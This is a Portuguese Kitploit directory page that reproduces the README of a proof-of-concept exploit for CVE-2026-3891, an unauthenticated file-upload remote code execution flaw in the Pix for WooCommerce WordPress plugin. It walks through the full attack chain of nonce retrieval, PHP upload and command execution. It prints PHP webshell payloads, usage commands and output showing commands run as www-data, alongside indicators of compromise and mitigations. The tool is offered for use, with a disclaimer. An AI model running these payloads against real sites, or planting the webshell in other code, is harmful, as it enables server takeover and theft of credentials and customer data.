Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-3891 — PoC for CVE-2026-3891 – Unauthenticated File Upload RCE in Pix for WooCommerce ≤ 1.5.0. Automated nonce retrieval, PHP upload, and command execution. | Kitploit
Ferramentas/GitHubGitHub/ch4120n/cve-2026-3891
ExploitationWeb Application ExploitationPenetration Testing
GitHubch4120n/cve-2026-3891

CVE-2026-3891

PoC for CVE-2026-3891 – Unauthenticated File Upload RCE in Pix for WooCommerce ≤ 1.5.0. Automated nonce retrieval, PHP upload, and command execution.

Ver Repositório
2há 16 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🚀 CVE-2026-3891 – Upload de Arquivo Não Autenticado no Pix for WooCommerce com RCE

Python Exploit CVE

GitHub stars GitHub issues License

Exploit de Prova-de-Conceito para CVE-2026-3891 – upload arbitrário de arquivo não autenticado que leva à execução remota de código no plugin Pix for WooCommerce do WordPress (≤ 1.5.0).


📖 Visão Geral

CVE-2026-3891 é uma vulnerabilidade crítica no plugin Pix for WooCommerce, que afeta todas as versões até 1.5.0. O plugin não aplica verificações adequadas de autorização e tipo de arquivo no seu handler AJAX lkn_pix_for_woocommerce_c6_save_settings. Um atacante não autenticado pode abusar dessa falha para enviar arquivos PHP arbitrários para um diretório publicamente acessível e obter execução remota de código no servidor WordPress subjacente.

Este repositório contém um PoC de nível de produção que automatiza toda a cadeia de ataque – desde a obtenção de um nonce válido até o upload de um webshell – com tratamento robusto de erros e uma interface de linha de comando elegante.

🔍 Recursos Principais

  • Totalmente não autenticado – não exige credenciais do WordPress ou cookies de sessão.
  • Extração automática de nonce – o exploit obtém o nonce de segurança necessário através da mesma interface AJAX pública.
  • Upload de arquivo multipart – constrói corretamente o parâmetro de arquivo certificate_crt_path esperado pelo handler vulnerável.
  • Geração direta de URL – fornece imediatamente a URL pública do payload enviado.
  • Verificações de pós-exploração – verificação opcional do sucesso do upload e execução de comandos em tempo real (--check).
  • Tratamento avançado de erros – lida graciosamente com Cloudflare, WAFs, timeouts e respostas malformadas.
  • Saída limpa e informativa – todas as mensagens são prefixadas com [ * ], [ + ], [ - ], [ ! ] para leitura imediata.

🧬 Detalhes da Vulnerabilidade

A causa raiz está em duas ações AJAX registradas pelo plugin:

1. lkn_pix_for_woocommerce_generate_nonce

root@kitploit:~
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

Esta ação está conectada ao hook wp_ajax_nopriv_*, tornando-a acessível a visitantes não autenticados. Ela gera um nonce para a ação lkn_pix_for_woocommerce_c6_settings_nonce e o retorna em um envelope JSON:

root@kitploit:~
{"success":true,"data":{"nonce":"abc123..."}}

Nenhuma verificação de capacidade ou autenticação de usuário é realizada – qualquer pessoa pode solicitar um nonce válido.

2. lkn_pix_for_woocommerce_c6_save_settings

root@kitploit:~
add_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);

Este handler salva as configurações do plugin, incluindo um campo de upload de arquivo chamado certificate_crt_path. Embora o upload ocorra através do helper media_handle_upload do WordPress, o plugin não:

  • Verifica se a solicitação vem de um usuário autenticado e autorizado (ausência de current_user_can).
  • Aplica qualquer restrição de tipo ou extensão de arquivo (por exemplo, permite arquivos .php).
  • Armazena o arquivo em um local não executável – ele acaba em:
    root@kitploit:~
    wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
    
    que é diretamente acessível via web.

Como o nonce protege apenas contra CSRF e pode ser obtido por qualquer pessoa, um atacante pode encadear essas duas ações para enviar e executar código PHP arbitrário.

Versões Afetadas

  • Pix for WooCommerce versões ≤ 1.5.0
  • A vulnerabilidade foi confirmada em instalações WordPress limpas com configurações padrão.

Impacto

  • Execução Remota de Código – acesso total ao webshell com os privilégios do servidor web (normalmente www-data ou apache).
  • Exfiltração de dados – ler wp-config.php, credenciais do banco de dados, dados de clientes.
  • Persistência – modificar arquivos do núcleo, plantar backdoors.
  • Assunção total do site – escalar para administrador do WordPress se o banco de dados estiver acessível.

🛠️ Requisitos de Exploração

  • Acesso à rede ao site WordPress alvo (nenhuma autenticação necessária).
  • Python 3.8+ com a biblioteca requests (instale via pip install requests).
  • O alvo deve ter o plugin vulnerável instalado e ativo (a configuração padrão é suficiente).

🚀 Uso

Instalação

root@kitploit:~
git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt   # requests

Comando Básico

root@kitploit:~
python CVE-2026-3891.py http://target.com/wordpress

Para mais controle, use as opções de linha de comando:

root@kitploit:~
python CVE-2026-3891.py https://example.com \
  -f shell.php \
  -p '<?php system($_GET["c"]); ?>' \
  --check \
  --timeout 20

Exemplo de Saída

root@kitploit:~
  ___  _  _  ____     ___   ___  ___    _       ___  ___  ___  __ 
 / __)( \/ )( ___)___(__ \ / _ \(__ \  / )  ___(__ )( _ )/ _ \/  )
( (__  \  /  )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_  / )( 
 \___)  \/  (____)   (____)\___/(____)\___/    (___/\___/ (_/ (__)
                        [CVE-2026-3891]
          Pix for WooCommerce Unauthenticated File Upload
                         Owner: Ch4120N

[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php

# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Opções de Linha de Comando


🧪 Detalhes Técnicos para Detecção e Ajuste

Endpoint de Geração de Nonce

  • URL: http://target/wp-admin/admin-ajax.php
  • Ação: lkn_pix_for_woocommerce_generate_nonce
  • Parâmetro: action_name=lkn_pix_for_woocommerce_c6_settings_nonce
  • Resposta: {"success":true,"data":{"nonce":"..."}}
  • Nota: O nonce é sempre obtenível porque a ação é registrada com wp_ajax_nopriv_*. Nenhum cookie ou sessão é necessário.

Parâmetros do Upload de Arquivo

  • URL: O mesmo admin-ajax.php
  • Ação: lkn_pix_for_woocommerce_c6_save_settings
  • Campos obrigatórios:
    • _ajax_nonce – o nonce obtido anteriormente
    • certificate_crt_path – um upload de arquivo multipart (o payload)
  • Tipo de arquivo: O plugin não valida a extensão, portanto arquivos .php são aceitos e armazenados sem renomeação.

Caminho Público de Armazenamento

Após o upload bem-sucedido, o arquivo fica em:

root@kitploit:~
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>

Este diretório é diretamente acessível via web; os arquivos PHP serão executados se o servidor web estiver configurado para processá-los (o que é o padrão para servidores gerenciados pelo WordPress).

Indicadores de Comprometimento (IoCs)

  • Arquivos PHP inesperados aparecendo no diretório certs_c6 (especialmente arquivos como woocommerce.php, shell.php, etc.).
  • Solicitações POST incomuns para admin-ajax.php com as ações listadas acima, originadas de IPs não confiáveis.
  • Logs de acesso mostrando acessos diretos a .../certs_c6/ com parâmetros de consulta como ?cmd=id.

🛡️ Detecção e Mitigação

Detecção

Monitore os logs do seu WordPress em busca de:

  • Solicitações POST repetidas para /wp-admin/admin-ajax.php com action=lkn_pix_for_woocommerce_generate_nonce e action=lkn_pix_for_woocommerce_c6_save_settings.
  • Criação de novos arquivos na pasta certs_c6. Use uma ferramenta de monitoramento de integridade de arquivos (ex.: Tripwire, OSSEC) para alertar sobre alterações.
  • Logs do servidor web mostrando a execução de arquivos PHP nesse diretório a partir de IPs externos.

Mitigação

  1. Atualize o plugin – verifique se existe uma versão >1.5.0 que contenha a correção oficial (se lançada).
  2. Aplique um patch virtual – bloqueie o acesso às ações AJAX vulneráveis com uma regra de WAF (ex.: ModSecurity, Cloudflare WAF).
  3. Restrinja a execução de arquivos – se o plugin for necessário, configure o servidor web para negar a execução de PHP dentro do diretório certs_c6 (ex.: usando .htaccess com php_flag engine off).
  4. Reforce os handlers AJAX – se você mantém o plugin, garanta que ambas as ações sejam acessíveis apenas a usuários autenticados e autorizados (current_user_can('manage_options') para a geração do nonce, e uma verificação adequada de nonce além da verificação de capacidade para o upload).
  5. Desative o plugin – se o Pix for WooCommerce não for essencial, remova-o completamente.

👏 Créditos

  • Desenvolvimento do Exploit & PoC: Ch4120N
  • Análise da Vulnerabilidade: Pesquisa de segurança independente

📄 Licença

Este projeto está licenciado sob a Licença MIT – consulte o arquivo LICENSE para obter detalhes.

Aviso legal: Esta ferramenta destina-se apenas a testes de segurança autorizados e uso educacional. O autor não é responsável por qualquer uso indevido ou dano causado por este software.


📚 Referências

  • NIST NVD – CVE-2026-3891
  • Repositório de Plugins do WordPress – Pix for WooCommerce (verifique o changelog para versões corrigidas)
  • Banco de Dados de Vulnerabilidades Patchstack / WPScan (se a entrada existir)

⭐ Suporte

Se você achar este PoC útil, considere dar uma ⭐ no GitHub e compartilhá-lo de forma responsável. Contribuições, issues e pull requests são bem-vindos!


Bons hacks! 🛡️

Baixar ferramenta
FlagDescriçãoPadrão
target (posicional)URL base do site WordPress.Obrigatório
-f, --filenameNome do arquivo PHP enviado.woocommerce.php
-p, --payloadCódigo PHP a ser enviado.<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>
-t, --timeoutTimeout da solicitação em segundos.15
-r, --retriesMáximo de tentativas para obter o nonce.2
--no-bannerSuprime o ASCII art.(desativado)
--no-verifyIgnora a verificação de acessibilidade após o upload.(desativado)
--checkExecuta id no webshell após o upload.(desativado)